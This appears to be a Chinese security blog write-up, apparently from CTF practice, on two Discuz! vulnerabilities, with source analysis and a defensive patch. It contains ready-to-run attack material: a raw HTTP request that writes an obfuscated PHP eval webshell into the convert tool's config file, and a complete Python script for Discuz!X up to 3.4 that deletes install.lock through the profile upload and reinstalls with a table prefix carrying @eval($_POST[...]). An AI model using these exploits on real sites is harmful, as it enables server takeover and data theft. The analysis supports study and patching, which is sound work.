近期碰到一些dz的漏洞,做了一下某春秋上面的题,大概的记录一下吧,顺便分析一下源码.
/utility/convert/index.php利用
版本未知,之前看是dz的通杀,现在不知道了.. 首先访问这个链接
然后发现是个版本切换的界面
设置服务器信息的东西会写到配置文件,配置页面可连菜刀
贴个exp
1 2 3 4 5 6 7 8 9 10 11
   | POST /utility/convert/index.php?a=config&source=d7.2_x2.0 HTTP/1.1 Host: www.test.ichunqiu User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:25.0) Gecko/20100101 Firefox/2X.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: keep-alive Content-Length: 199 Content-Type: application/x-www-form-urlencoded
  newconfig[aaa%0a%0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(99).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59));//]=aaaa&submit=yes
   | 
 
代码可以直接getshell,恶意代码写入/convert/data/config.inc.php文件中
漏洞代码分析
\discuz\utility\convert\index.php 
查看do_config.inc.php,关键函数save_config_file 
跟进\discuz\utility\convert\include\global.func.php去看函数
关键函数getvars,继续跟进 
 关键函数buildarray
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
   | function buildarray($array, $level = 0, $pre = '$_config')  {     static $ks;     if($level == 0)      {         $ks = array();         $return = '';     }
      foreach ($array as $key => $val)      {          if($level == 0)          {             $newline = str_pad('  CONFIG '.strtoupper($key).'  ', 50, '-', STR_PAD_BOTH);             
 
 
 
 
 
 
 
              $return .= "\r\n// $newline //\r\n";         }
          $ks[$level] = $ks[$level - 1]."['$key']";         if(is_array($val))          {             $ks[$level] = $ks[$level - 1]."['$key']";             $return .= buildarray($val, $level + 1, $pre);         }          else          {             $val = !is_array($val) && (!preg_match("/^\-?[1-9]\d*$/", $val)  strlen($val) > 12) ? '\''.addcslashes($val, '\'\\').'\'' : $val;             $return .= $pre.$ks[$level - 1]."['$key']"." = $val;\r\n";         }     }     return $return; }
   | 
 
防御方法
可以把key里面的非字符数字下划线转成空字符
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
   | function buildarray($array, $level = 0, $pre = '$_config')  {     static $ks;     if($level == 0)      {         $ks = array();         $return = '';     }
      foreach ($array as $key => $val)      {                   $key = preg_replace("/[^\w]/", "", $key);
          if($level == 0)          {             $newline = str_pad('  CONFIG '.strtoupper($key).'  ', 50, '-', STR_PAD_BOTH);             $return .= "\r\n// $newline //\r\n";         }
          $ks[$level] = $ks[$level - 1]."['$key']";         if(is_array($val))          {             $ks[$level] = $ks[$level - 1]."['$key']";             $return .= buildarray($val, $level + 1, $pre);         }          else          {             $val = !is_array($val) && (!preg_match("/^\-?[1-9]\d*$/", $val)  strlen($val) > 12) ? '\''.addcslashes($val, '\'\\').'\'' : $val;             $return .= $pre.$ks[$level - 1]."['$key']"." = $val;\r\n";         }     }     return $return; }
   | 
 
参考链接
http://www.cnblogs.com/LittleHann/p/4317665.html
任意文件删除及其衍生getshell
Discuz!X<=3.4可用 提供可复现版本的dz:下载DiscuzX
漏洞本来是14年6月被交到wooyun的洞,原来的利用已经修复,添加了对属性的formtype判断,但是修复不完全导致可以绕过.
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115
   |  import base64 import random import re import string
  import requests
  sess = requests.Session() randstr = lambda len=5: ''.join(random.choice(string.ascii_lowercase) for _ in range(len))
 
 
  target = 'http://localhost/discuzx'
  cookie = "UM_distinctid=15bcd2339e93d6-07b5ae8b41447e-8373f6a-13c680-15bcd2339ea636; CNZZDATA1261218610=1456502094-1493792949-%7C1494255360; csrftoken=NotKIwodOQHO0gdMyCAxpMuObjs5RGdeEVxRlaGoRdOEeMSVRL0sfeTBqnlMjtlZ; Zy4Q_2132_saltkey=I9b3k299; Zy4Q_2132_lastvisit=1506763258; Zy4Q_2132_ulastactivity=0adb6Y1baPukQGRVYtBOZB3wmx4nVBRonRprfYWTiUaEbYlKzFWL; Zy4Q_2132_nofavfid=1; Zy4Q_2132_sid=rsQrgQ; Zy4Q_2132_lastact=1506787935%09home.php%09misc; 7Csx_2132_saltkey=U8nrO8Xr; TMT0_2132_saltkey=E3q5BpyX; PXMk_2132_saltkey=rGBnNWu7; b4Gi_2132_saltkey=adC4r05k; b4Gi_2132_lastvisit=1506796139; b4Gi_2132_onlineusernum=2; b4Gi_2132_sendmail=1; b4Gi_2132_seccode=1.8dab0a0c4ebfda651b; b4Gi_2132_sid=BywqMy; b4Gi_2132_ulastactivity=51c0lBFHqkUpD3mClFKDxwP%2BI0JGaY88XWTT1qtFBD6jAJUMphOL; b4Gi_2132_auth=6ebc2wCixg7l%2F6No7r54FCvtNKfp1e5%2FAdz2SlLqJRBimNpgrbxhSEnsH5%2BgP2mAvwVxOdrrpVVX3W5PqDhf; b4Gi_2132_creditnotice=0D0D2D0D0D0D0D0D0D1; b4Gi_2132_creditbase=0D0D0D0D0D0D0D0D0; b4Gi_2132_creditrule=%E6%AF%8F%E5%A4%A9%E7%99%BB%E5%BD%95; b4Gi_2132_lastcheckfeed=1%7C1506800134; b4Gi_2132_checkfollow=1; b4Gi_2132_lastact=1506800134%09misc.php%09seccode" shell_password = randstr() db_host = '' db_user = '' db_pw = '' db_name = ''
 
  path = '/home.php?mod=spacecp&ac=profile&op=base' url = target + path
  sess.headers.update({     'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36',     'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',     'Referer': url})
 
 
 
 
 
  def login(username=None, password=None):     sess.headers.update({'Cookie': cookie})
 
  def get_form_hash():     r = sess.get(url)     match = re.search(r'"member.php\?mod=logging&action=logout&formhash=(.*?)"', r.text, re.I)     if match:         return match.group(1)
 
  def tamper(formhash, file_to_delete):     data = {         'formhash': (None, formhash),         'profilesubmit': (None, 'true'),         'birthprovince': (None, file_to_delete)     }     r = sess.post(url, files=data)     if 'parent.show_success' in r.text:         print('tamperred successfully')         return True
 
  def delete(formhash, file):     if not tamper(formhash, file):         return False
      image = b'iVBORw0KGgoAAAANSUhEUgAAAAoAAAAKCAIAAAACUFjqAAAADUlEQVR4nGNgGAWkAwABNgABVtF/yAAAAABJRU5ErkJggg=='     data = {         'formhash': formhash,         'profilesubmit': 'true'     }     files = {         'birthprovince': ('image.png', base64.b64decode(image), 'image/png')     }     r = sess.post(url, data=data, files=files)     if 'parent.show_success' in r.text:         print('delete {} successfully'.format(file))         return True
 
  def getshell():     install_url = target + '/install/index.php'     r = sess.get(install_url)     if '安装向导' not in r.text:         print('install directory not exists')         return False
      table_prefix = "x');@eval($_POST[{}]);('".format(shell_password)     data = {         'step': 3,         'install_ucenter': 'yes',         'dbinfo[dbhost]': db_host,         'dbinfo[dbname]': db_name,         'dbinfo[dbuser]': db_user,         'dbinfo[dbpw]': db_pw,         'dbinfo[tablepre]': table_prefix,         'dbinfo[adminemail]': 'admin@admin.com',         'admininfo[username]': 'admin',         'admininfo[password]': 'admin',         'admininfo[password2]': 'admin',         'admininfo[email]': 'admin@admin.com',     }     r = sess.post(install_url, data=data)     if '建立数据表 CREATE TABLE' not in r.text:         print('write shell failed')         return False     print('shell: {}/config/config_ucenter.php'.format(target))     print('password: {}'.format(shell_password))
 
  if __name__ == '__main__':     login()     form_hash = get_form_hash()     if form_hash:         delete(form_hash, '../../../data/install.lock')         getshell()     else:         print('failed')
 
  | 
 
代码逻辑
核心问题在upload/source/include/spacecp/spacecp_profile.php
首先看到第70行 
当profile提交的时候执行下面的代码 然后继续往下看 
这里本来没有判断,那么我们传入deletefile,然后遍历的时候把$space[$key]拼接到路径然后unlink删掉了,其中$space[$key]是可控的
加了判断之后不行了,因为用户信息字段都是非file类型,没办法
然而后面还是有漏洞,从第187行开始
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
   | if($_FILES) {         $upload = new discuz_upload();         foreach($_FILES as $key => $file) {             if(!isset($_G['cache']['profilesetting'][$key])) {                 continue;             }             ...             ...                 if(isset($setarr[$key]) && $_G['cache']['profilesetting'][$key]['needverify']) {                     @unlink(getglobal('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]);                     $verifyarr[$key] = $attach['attachment'];                     continue;                 }                 @unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);                 $setarr[$key] = $attach['attachment'];             }
          }     }
  | 
 
这里只要传一张图片就可以绕过,然后unlink掉删除的文件
官方的修复是删掉了5个unlink...简单粗暴,但是确实有效...
重装的过程就不分析了,简而言之就是安装的时候tablepre的值可以插入到config.inc.php文件中,从而getshell
参考链接
http://blog.nsfocus.net/discuz-arbitrary-file-remove-vulnerability/
https://fafe.me/2017/10/02/discuz-getshell/
https://paper.seebug.org/411/